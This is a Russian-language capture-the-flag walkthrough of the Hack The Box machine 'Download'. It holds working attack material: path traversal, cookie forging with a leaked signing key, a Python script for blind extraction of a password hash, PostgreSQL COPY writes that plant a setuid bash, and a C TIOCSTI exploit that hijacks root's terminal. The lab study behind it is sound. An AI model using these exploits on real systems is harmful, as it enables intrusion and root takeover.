April 27, 2024

HTB Download. Перехватываем терминал суперпользователя при атаке на хост

  1. Разведка
  2. Точка входа
  3. Точка опоры
  4. Продвижение
  5. Локальное повышение привилегий

В этом рай­тапе я про­демонс­три­рую тех­нику TTY hijacking, которая поз­воля­ет зах­ватить сес­сию тер­минала супер­поль­зовате­ля. Так­же про­экс­плу­ати­руем path traversal для получе­ния дос­тупа к исходно­му коду при­ложе­ния на Node.js, укра­дем сес­сию поль­зовате­ля через соз­дание cookie и при­меним сле­пую инъ­екцию для получе­ния кон­фиден­циаль­ной информа­ции.

На­шей целью будет зах­ват тре­ниро­воч­ной машины Download с пло­щад­ки Hack The Box. Уро­вень ее — слож­ный.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в файл /etc/hosts:

10.10.11.226 download.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Ска­нер нашел два откры­тых пор­та:

  • 22 — служ­ба OpenSSH 8.2p1;
  • 80 — веб‑сер­вер Nginx 1.18.0.

Заг­лянем на сайт.

Глав­ная стра­ница сай­та

ТОЧКА ВХОДА

Изу­чая сайт, находим фор­му заг­рузки фай­лов.

Стра­ница /files/upload

Прос­матри­вая этот зап­рос в Burp History, уви­дим типич­ную для при­ложе­ния на Node.js фор­му cookie.

Зап­рос в Burp History

Ав­торизу­емся на сай­те, декоди­руем зна­чение download_session и про­верим, что изме­нилось.

Глав­ная стра­ница авто­ризо­ван­ного поль­зовате­ля
Зап­рос в Burp History

У нас появил­ся параметр user, содер­жащий имя поль­зовате­ля и его иден­тифика­тор. Так­же для про­вер­ки я заг­рузил файл и уви­дел, что сооб­щение о выпол­нении дей­ствия попада­ет в параметр success.

Ре­зуль­тат заг­рузки фай­ла
Зап­рос в Burp History

ТОЧКА ОПОРЫ

Path traversal

Стра­ница /files/download/ отда­ет нам файл при ска­чива­нии. Сто­ит про­верить, нет ли здесь уяз­вимос­ти обхо­да катало­га. Сде­лать это мож­но, зап­росив файл package.json, харак­терный для прог­рамм на Node.js. Я исполь­зую Burp Intruder и сло­варь с раз­ными вари­анта­ми ука­зания пути к фай­лу.

Ре­зуль­тат перебо­ра

В ито­ге получа­ем содер­жимое package.json, отку­да узна­ем, что основной файл называ­ется app.js, а так­же имя поль­зовате­ля — wesley. Теперь тем же спо­собом зап­росим файл app.js.

Со­дер­жимое фай­ла app.js

По­луча­ем ключ для под­писи куки (стро­ка 39), а еще видим исполь­зование SQL-зап­росов (стро­ка 59).

Cookie

Имея ключ, мы можем манипу­лиро­вать зна­чени­ями куки, соз­давая и под­писывая их для любого поль­зовате­ля. В этом нам поможет ути­лита cookie-monster. Уста­новим ее.

npm install --global yarn git clone https://github.com/DigitalInterruption/cookie-monster cd cookie-monster yarn installyarn link

Сох­раним зна­чение куки в файл и поменя­ем имя поль­зовате­ля на wesley. Затем сге­нери­руем нуж­ные нам зна­чения.

./cookie-monster.js -e -f cookie.txt -k 8929874489719802418902487651347865819634518936754 -n download_session

Соз­дание cookie для поль­зовате­ля wesley

Под­став­ляем сге­нери­рован­ные зна­чения в зап­рос и получа­ем стра­ницу нового поль­зовате­ля.

Стра­ница в Burp Repeater

В окру­жении поль­зовате­ля на сай­те ничего не находим, поэто­му про­дол­жим прос­матри­вать исходные коды. В уже извес­тном нам фай­ле app.js отме­чаем под­клю­чаемые модули.

Со­дер­жимое фай­ла app.js

Пер­вым делом я прос­мотрел содер­жимое фай­ла routers/auth.js. Наибо­лее инте­ресен в нем блок кода для получе­ния поль­зовате­ля с помощью фун­кции findFirst (стро­ки 41–44).

Со­дер­жимое фай­ла routers/auth.js

Кро­ме парамет­ра име­ни поль­зовате­ля, есть еще и параметр password. Учи­тывая, что для выбор­ки из базы исполь­зует­ся findFirst, мож­но про­тес­тировать инъ­екцию, осно­ван­ную на исполь­зовании в переда­ваемых парамет­рах дру­гих опе­рато­ров: contains, startWith и про­чих воз­вра­щающих булевы зна­чения. К при­меру, сле­дующее зна­чение cookie отоб­разило фай­лы поль­зовате­ля!

{ "flashes":{ "info":[], "error":[], "success":[""] }, "user":{ "username":{ "contains": "WESLEY" }, "password":{ "startsWith":"" } }}

Зап­рос в Burp Repeater

В самих фай­лах ничего инте­рес­ного нет, зато мы можем попытать­ся подоб­рать хеш пароля поль­зовате­ля.

Автоматизация

Смысл в том, что­бы пооче­ред­но переби­рать сим­волы хеша пароля. Как толь­ко реаль­ный хеш будет начинать­ся с ука­зан­ной пос­ледова­тель­нос­ти, мы получим отличный от осталь­ных слу­чаев ответ и нач­нем переби­рать сле­дующий сим­вол хеша.

import subprocess import json import requests passwd = ""chars = "0123456789abcdef"tmp_pass = ""def getCookie(password): data = {"flashes":{"info":[],"error":[],"success":[""]},"user":{"username":{"contains": "WESLEY"},"password":{"startsWith":password}}} with open("cookie.txt","w") as f: f.write(json.dumps(data)) out = subprocess.check_output(["./cookie-monster/bin/cookie-monster.js", "-e", "-f", "cookie.txt", "-k", "8929874489719802418902487651347865819634518936754", "-n", "download_session"]).decode() index1 = out.index("download_session=") + len("download_session=") out = out[index1:] sess = out[:out.index("\x1b")] index2 = out.index("download_session.sig=") + len("download_session.sig=") out = out[index2:] sig = out[:out.index("\x1b")] return sess, sig for i in range(32): for c in chars: tmp_pass = passwd + c print("Hash: " + tmp_pass, end='\r') sess, sig = getCookie(tmp_pass) cookie = {"download_session": sess, "download_session.sig": sig} r = requests.get('http://download.htb/home/', cookies=cookie) if( len(r.text) != 2174 ): passwd = tmp_pass breakprint("Hash: " + passwd)

Ре­зуль­тат работы скрип­та

Спус­тя нес­коль­ко минут получа­ем хеш MD5 и рас­шифро­выва­ем пароль при помощи сер­виса hashes.com.

Ре­зуль­тат взло­ма хеша

С получен­ными учет­ными дан­ными авто­ризу­емся по SSH и забира­ем флаг поль­зовате­ля.

Флаг поль­зовате­ля

ПРОДВИЖЕНИЕ

Те­перь нам необ­ходимо соб­рать информа­цию. Я буду исполь­зовать для это­го скрип­ты PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате и выда­ют под­робный отчет о потен­циаль­но инте­рес­ных фай­лах, про­цес­сах и нас­трой­ках.

Заг­рузим на хост скрипт для Linux, дадим пра­во на выпол­нение и запус­тим ска­ниро­вание. В выводе будет мно­го информа­ции, нам нуж­но отоб­рать толь­ко зна­чимую.

В спис­ке про­цес­сов отме­чаем работа­ющий PostgreSQL, об этом говорит и прос­лушива­емый порт 5432. Так­же у поль­зовате­ля, от име­ни которо­го работа­ет СУБД, есть своя кон­соль.

Спи­сок про­цес­сов
Прос­лушива­емые пор­ты
Поль­зовате­ли с кон­солью

Еще полез­но прос­матри­вать запус­каемые про­цес­сы с помощью pspy64. Имен­но это и помог­ло мне обна­ружить, что в сис­теме работа­ет поль­зователь­ская служ­ба download-site, а так­же отме­тить, что в сис­тему залоги­нен поль­зователь postgres.

Ло­ги pspy64

Прос­матри­ваем файл служ­бы /etc/systemd/system/download-site.service. В перемен­ной окру­жения для запус­ка про­цес­са находим перемен­ную DATABASE_URL, а в URL — учет­ные дан­ные для под­клю­чения к базе дан­ных.

Со­дер­жимое фай­ла download-site.service

Под­клю­чаем­ся к базе и получа­ем информа­цию о поль­зовате­лях.

psql -h localhost -p 5432 -U download \du

Ин­форма­ция о поль­зовате­лях СУБД

Наш поль­зователь — член груп­пы pg_write_server_files, а зна­чит, име­ет пра­во на запись в фай­лы. Для пер­систен­тнос­ти сле­дующи­ми коман­дами наз­начим фай­лу коман­дной обо­лоч­ки S-бит:

cp /bin/bash /tmp/psql_bash chmod 4777 /tmp/psql_bash

В качес­тве метода пер­систен­тнос­ти запишем дан­ные коман­ды в фай­лы /var/lib/postgresql/.bash_profile и /var/lib/postgresql/.bashrc. Так как выпол­няет­ся вход от име­ни поль­зовате­ля, будут выпол­нены коман­ды из этих фай­лов.

COPY (SELECT CAST ('/bin/bash -c "cp /bin/bash /tmp/psql_bash ; chmod 4777 /tmp/psql_bash"' AS text)) TO '/var/lib/postgresql/.bash_profile';COPY (SELECT CAST ('/bin/bash -c "cp /bin/bash /tmp/psql_bash ; chmod 4777 /tmp/psql_bash"' AS text)) TO '/var/lib/postgresql/.bashrc';

Спус­тя некото­рое вре­мя про­веря­ем, не появил­ся ли файл /bin/bash в катало­ге /tmp.

Со­дер­жимое катало­га /tmp

У фай­ла выс­тавлен S-бит, а зна­чит, мы можем получить сес­сию от име­ни поль­зовате­ля postgres.

Сес­сия поль­зовате­ля postgres

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

TTY hijacking

Увы, это­му поль­зовате­лю ничего инте­рес­ного не дос­тупно. Тог­да вер­немся к спо­собу вхо­да через su -l. Здесь мож­но поп­робовать попасть в сес­сию поль­зовате­ля, от име­ни которо­го выпол­няет­ся коман­да su. Эта тех­ника называ­ется TTY hijacking. Хотя sudo и su в дан­ном слу­чае меня­ют UID исполня­емо­го про­цес­са на UID поль­зовате­ля без пол­номочий, тер­минал по‑преж­нему оста­ется тер­миналом поль­зовате­ля root и, как ока­залось, дос­тупен неп­ривиле­гиро­ван­ному поль­зовате­лю.

Те­кущий тер­минал прог­раммы всег­да дос­тупен через файл /dev/tty. Мы можем его открыть от име­ни поль­зовате­ля без пол­номочий, а затем исполь­зовать сис­кол ioctl для под­делки поль­зователь­ско­го вво­да. Это поз­волит нам вво­дить коман­ды в чужой тер­минал. Для экс­плу­ата­ции этой тех­ники мож­но исполь­зовать сле­дующий экс­пло­ит:

#include <fcntl.h> #include <stdio.h> #include <string.h> #include <sys/ioctl.h> int main() { int fd = open("/dev/tty", O_RDWR); if (fd < 0) { perror("open"); return -1; } char *x = "exit\n/bin/bash -c 'cp /bin/bash /tmp/root_bash; chmod 4777 /tmp/root_bash'\n"; while (*x != 0) { int ret = ioctl(fd, TIOCSTI, x); if (ret == -1) { perror("ioctl()"); } x++; } return 0;}

Здесь сна­чала завер­шает­ся работа текущей коман­дной обо­лоч­ки поль­зовате­ля (exit\n), а затем записы­вает­ся уже зна­комая полез­ная наг­рузка. Пос­ле завер­шения работы коман­дной обо­лоч­ки поль­зовате­ля postgres шелл поль­зовате­ля root счи­тыва­ет под­дель­ный поль­зователь­ский ввод и выпол­няет его.

Ком­пилиру­ем экс­пло­ит и даем пра­ва на выпол­нение для всех.

gcc exploit.c -static -o lpe.bin chmod 777 /tmp/lpe.bin

Те­перь пов­торим тех­нику выпол­нения фай­ла через bash_profile и bashrc, пос­ле чего про­верим, появил­ся ли файл коман­дной обо­лоч­ки, но уже соз­данный рутом.

COPY (SELECT CAST ('/bin/bash -c /dev/shm/lpe.bin' AS text)) TO '/var/lib/postgresql/.bash_profile';COPY (SELECT CAST ('/bin/bash -c /dev/shm/lpe.bin' AS text)) TO '/var/lib/postgresql/.bashrc';

Со­дер­жимое катало­га /tmp

Ата­ка прош­ла успешно, теперь мы можем перей­ти к сес­сии root и заб­рать вто­рой флаг.

Флаг рута

Ма­шина зах­вачена!